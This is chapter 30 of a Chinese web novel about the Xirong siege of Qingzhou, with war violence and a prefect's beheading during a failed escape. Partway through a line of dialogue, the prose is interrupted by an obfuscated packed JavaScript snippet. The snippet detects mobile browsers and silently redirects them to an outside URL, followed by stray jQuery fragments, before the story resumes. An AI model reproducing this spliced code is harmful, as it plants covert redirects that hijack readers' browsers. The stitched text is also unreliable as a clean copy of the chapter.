30.第 30 章
作品:《流放三年后,满朝文武跪求我登基》 而此时的东城门,彻底乱成了一片。
一眼看过去,逃难的百姓与富商的车队挤成长龙,望不到头。守城的士兵持着刀拦在城门前,任凭人群如何推挤,就是寸步不让。
“军爷!求您了!开门吧……西戎人就要杀进来了!”百姓试图劝说。
“不行!将军有令,现在非常时期,擅自开城者,斩!”为首的士兵高声拒绝,说什么也不愿意开城门。
众人脸色刷地一下就变得惨白。
“不开门就是死啊!”
“难道要我们全死在城里吗!呜呜……”
百姓哭喊着的声音布满了绝望,有人想硬闯,可看到守军刀剑在侧,终究还是不敢拿自己的血肉之躯去撞刀剑。
场面一时十分混乱。
就在这时,一道威严的声音突然响起:“如果本官非要出城呢?”
所有人突然回头。
只见一辆非常华贵的马车不知何时已挤到最前方,帘子掀起,里面坐着的人一身官服,面色严肃,正是青州刺史谢呁。
他一脸阴沉的看向守门的士兵,语气平静,不容置疑:“开城门。”
“大人,这……将军有令……”守门的士兵一脸为难。
谢呁根本不把这劳什子赵铁放在眼里,他堂堂一州刺史,如今只是想出城避难,还要看一个低贱的武将脸色?
越想越气,他直接下了马车,对着那刚才回他话的士兵,抬起腿,一脚狠踹了过去!
动静挺大,守城门的那几个士兵见状吓得根本不敢动。
谢呁整了整衣袍,阴恻恻的看向他们:“本官再说最后一次,开门!”
“......是是!这就开!”那几个士兵吓得再不敢犹豫,手忙脚乱地抽去门栓,沉重的城门缓缓打开。
谢呁看也不看那被踹的士兵,转身就上了车。
“走!”马车飞奔而出。
“城门开了!”
“快冲出去!”城门口的百姓见状,面色一喜,全都疯狂的跟着谢呁的那辆马车一起挤了出去。
“哎你们......!”守城几个士兵被冲得七零八落,只能眼睁睁的看着众人涌出了城门,想阻挡都来不及。
而谢呁这边,看着离他越来越远的青州城,他终于长长舒了口气,想到城内百姓的绝望,他又忍不住得意起来。
幸好他当机立断,不然这会儿在城里等死的,可就是他自己了。
嘴角得意的笑还没完全落下,地面突然传来了一阵闷雷般的马蹄声。
咚、咚咚……
声音越来越近,越来越响,震得他脚下的车厢都在发颤。
谢呁脸色一变,猛地掀开车帘,眯着眼睛看向远处,只见百米开外的地面上,突然多出来十来骑的黑甲骑兵,皆是身穿异服,弯刀在侧,一副西戎铁骑的打扮!
他们……怎么会出现在东门外!?此时不应该是在西北两门吗!
谢呁瞳孔骤缩,浑身的血液仿佛都要凝固了。
“掉头!快掉头回城!”他吓得嗓音撕裂,迅速的催促着赶马的车夫掉头。
“是、是......”那车夫也吓得脸色苍白,拼命的想勒马掉头。
奈何人越慌乱越容易出岔子,还没等到马车彻底掉头,那十来骑西戎骑兵就到了眼前,将谢呁的马车轻易的围在正中间。
为首一名西戎骑兵打量了一眼这珠光宝气的马车,眼神放光,“哈哈哈!没想到还碰到了一条大鱼!”他操着一口粗粝的胡语,露出森白的牙怪笑。
车内,谢呁浑身血液都凉了,他哆嗦着掀开车帘,双手高举过头,声音抖得不成样子:
“将、将军饶命……我、我是青州刺史……财物尽可取去,只求留我一命!”
他一脸讨好,可对面的西戎骑兵根本听不懂大楚官话,不过见谢呁一身官服,便能猜到他是大楚官员。想到这里,眼神凶狠起来,大楚的官,都不是好东西!
领头的骑兵啐了一口,猛地抬起手,弯刀扬起。
“噗嗤!”
谢呁瞳孔剧缩,甚至来不及闭眼,头颅就已经滚落在地了,脸上惊恐凝固,直直瞪着灰蒙蒙的天。
“啊!”马车里谢呁的妻妾见到这幅血腥的场面,吓得尖叫。
“还有女人!”那群西戎骑兵听到女子的尖叫声,眼神一亮,狞笑着扑向马车,将哭喊挣扎的女子一个个拖拽下来。哀求和哭泣声也全都淹没在蛮骑粗野的哄笑与撕扯声中。
后方涌出来的百姓刚好目睹这一幕,吓得魂飞魄散。
“西戎人!是西戎人!”
“快回城!!”
众人又疯了一般的掉头往回挤,城门处乱作一团,还有不少百姓没来得及进城,守城的士兵也顾不上他们了,再不关门,大家全都得死!
“关门!”
......
青州城下,战事已经胶着了两日。
西戎大军主攻西北两门,城墙上,将军赵铁带着一身染血的战甲,声音早已吼得嘶哑:“倒火油!砸!”
何止是他,青州守军已整整两日不敢合眼,没日没夜的守在城墙上。敌众我寡,西戎足有两万大军,而他们青州守军一万。
最初西戎人只是靠弓箭和登城梯强攻,但发现赵铁这边竟然用上了火油,导致西戎这边死伤惨重。
西戎可汗塔玛听着战士们的惨叫哀嚎,心中戾气横生,“快,将那些两脚羊绑了,打头阵!”
他就不信,这群楚人竟敢伤害自己的同胞?
赵铁看着西戎人又一次的攻城,只是这一次冲在最前面的,是被西戎人用弯刀驱赶着的大楚百姓。
拿着百姓当肉盾,将士们根本下不去手,只要他们一出手,势必会伤了这些手无缚鸡之力的百姓。
只是西戎人混在其中,愈来愈近,眼看着马上就要登上云梯。
“将军!不要管我们!”
城下被驱赶的百姓同样看出了城墙之上将士们的犹豫不决,齐声嘶喊道:“将这群畜生都杀了!别管我们!”
“对不起......”
赵铁浑身剧震,眼泪瞬间夺眶而出。
身为一城守将,本该保护这些百姓,如今却不得已成为了刽子手......
他狠狠地闭上了眼,绝望的说出了这三个字:“......浇下去!”
随着赵铁的这一声命令,城墙上的士兵通通将手中的火油往下倒。
百姓的哀嚎与西戎人的惨叫声混在一处,灼烧着每一个将士的心。看着这一幕,赵铁双目赤红,牙根险些都要被咬碎,“西戎蛮子……畜生都不如!杀!给老子杀光!”
此时此刻,他比以往任何时候都要痛恨这群西戎人,要是此战有幸能活下来,他发誓......一定要将这些异族蛮子,全都杀个一干二净!
将士们同样心如刀绞,无需赵铁的命令,他们纷纷毫不犹豫的举起了长刀,每一刀都带着血仇和痛恨的挥向了这群西戎蛮子。
就这样他们奋勇的砍杀了一波又一波,一连数日,他们牺牲了大几千的同胞。城墙根下,西戎蛮子的尸骸同样堆积成山,焦臭弥漫四周。
“我们还有多少弓箭和火油?”赵铁趁着间隙,连忙问向身侧的副将。
“将军!弓箭已不足三成,火油……也只够今日了!”
赵铁抹了把溅在眉骨上的血,望向城外的敌军大营,眼底猩红一片。
已经三天了,朝廷那边至今杳无音讯。而眼下青州城的武器装备也已不足了,伤亡的将士一日多过一日,赵铁心里那根弦越绷越紧,他怕青州撑不到援军到来的那一天。
“派去云州、肃州求援的人呢?”他哑声问,“可有回信?”
副将刘恺低下头,喉结动了动,声音发涩:“将军……两州至今……毫无音讯。怕是……”
赵铁绝望的闭上了眼,“城内的百姓如何?”
“攻城第一日,就有百姓跟着...跟着刺史大人的车驾逃出东门,可刚出去就撞上了西戎游骑,死伤不少,剩下的又全吓回来了。”刘恺顿了顿,脸色更难看,“就是刺史大人他......”
赵铁一脸冷肃:“他怎么了?”
“刘贵那小子说...谢呁这狗官那天刚出城不到三里......结果就遇上了西戎探子......”他话没说完,但意思再明白不过。落在西戎人手里,哪还有活路。
赵铁脸上没什么表情,只淡淡道:“死了也好,省得
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16975429|192224||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在城里动摇军心。”
他转身望向城外黑压压的敌营,沉默了许久,才开口说道:“继续收集全城火油、酒水,一切可燃之物,守城优先!”
他声音沙哑,却斩钉截铁,“再去催!东门、南门的守军,分一半弓手到西北两门!告诉弟兄们,援军……就在路上!”
这话他自己都快不信了,但不这么说,全城的军民如何能心安?
……
西戎大营,金帐之中。
新上任的塔玛可汗将手中酒杯狠狠掼在地上,奶酒溅了一地。
“两天了!青州城还没有拿下!”他胸膛起伏,鹰隼般的眼睛扫过帐下众将,“赵铁......本汗记住这个名字了。”
他走到牛皮地图前,粗粝的手指划过青州城廓,最终停在东门,“据探子来报,青州西北两门守备森严,像个铁刺猬。”
他冷笑一声,抬头看向身侧一直沉默的雄壮男子,“达剌,我最勇猛的弟弟。”
达剌抬起头,脸上那道横过鼻梁的刀疤在烛火下显得狰狞可怖。
“本汗命你带三千铁骑,绕到东门。”塔玛可汗手指重重一点,“赵铁兵力不足,西北吃紧,东门必然空虚!本汗要你在日落之前,把大楚青州的东门,给本汗拿下!”
“是!”达剌声如洪钟,右手捶胸,行了一礼,眼中闪过嗜血的光芒。
...
城头之上,赵铁心头忽地一坠。
太安静了。
已经近一个时辰了,西北方向的兵力似乎并未增强。
这不正常……西戎人绝不可能就此罢手!
一定是他疏忽了什么......
赵铁眯着眼一直盯着城外的西戎大营,见西戎的旗帜依旧随风扬起,但整个营地安静的可怕。
他心中那种不祥的感觉越来越重,电光火石间,赵铁突然想到之前刘恺说的谢呁在东门外遇上了西戎的探子。
心头猛地一跳!
“不好!”
“将军?”刘恺不明所以。
“东门......”赵铁喉咙发干,“速去东门!告诉守将,西戎可能分兵东门,无论如何,给我守住!再派快马,尝试从南门突围,去寻周边州县兵马来援!快!”他的声音止不住的颤抖。
整整三日了,不管是朝廷的援军还是邻近州县,全都毫无反应。
青州,仿佛已成了一座孤岛。
他看着灰蒙蒙的天,又看了看身边同样疲惫不堪的青州守将,缓缓的紧握拳头。
“弟兄们!”他转身,声音不大,却传遍城头,“我们没有退路,身后就是父母妻儿,就是我们青州的十万百姓!!援军......会来的,但在那之前......”
他拔出腰侧染血的长刀,指向城外:
“他西戎蛮子要想破城,除非从我赵铁,和每一个青州将士的尸体上踏过去!”
“誓与青州共存亡!!”这一刻,无数将士同赵铁都做好了牺牲的准备,他们身为楚人,只能战死!
就在这时,南面的陇山方向,忽然传来一阵雷鸣般的马蹄声,声音大的如同大地在轰鸣,震得城墙的沙土簌簌落下。
赵铁心头一沉,难道……天真的要亡他青州?
“将军!”这时,身旁副将刘恺猛地拽他手臂,声音因激动而变得尖锐,“援军!是援军到了!旗……您看那旗!”
赵铁听闻,浑身一震!
连忙拨开刘恺,扑倒墙垛上,眯上眼仔细望去。
只见远处陇山的隘口处,突然奔涌出无数兵马,皆是黑甲铁骑!
冲在最前面的烈马之上,一面橙红色的大旗迎风展开,旗上赫然写着一个墨色大字——瑄!
一眼望去,差不多有数万的兵力,正全力以赴的向青州城奔驰而来!
“是瑄王!快!”
赵铁眼眶发热,他猛吸一口气,声音因激动的而显得异常洪亮:“开城门!快开城门迎接瑄王!迎接援军!”
这个时候,能从陇山赶来的,还刻有“瑄”字的旗帜,除了凉州的瑄王,也别无他人!
青州的守军看着城墙下黑压压一片援军,心里踏实极了。真好!原来还有人没有放弃他们!他们有救了!

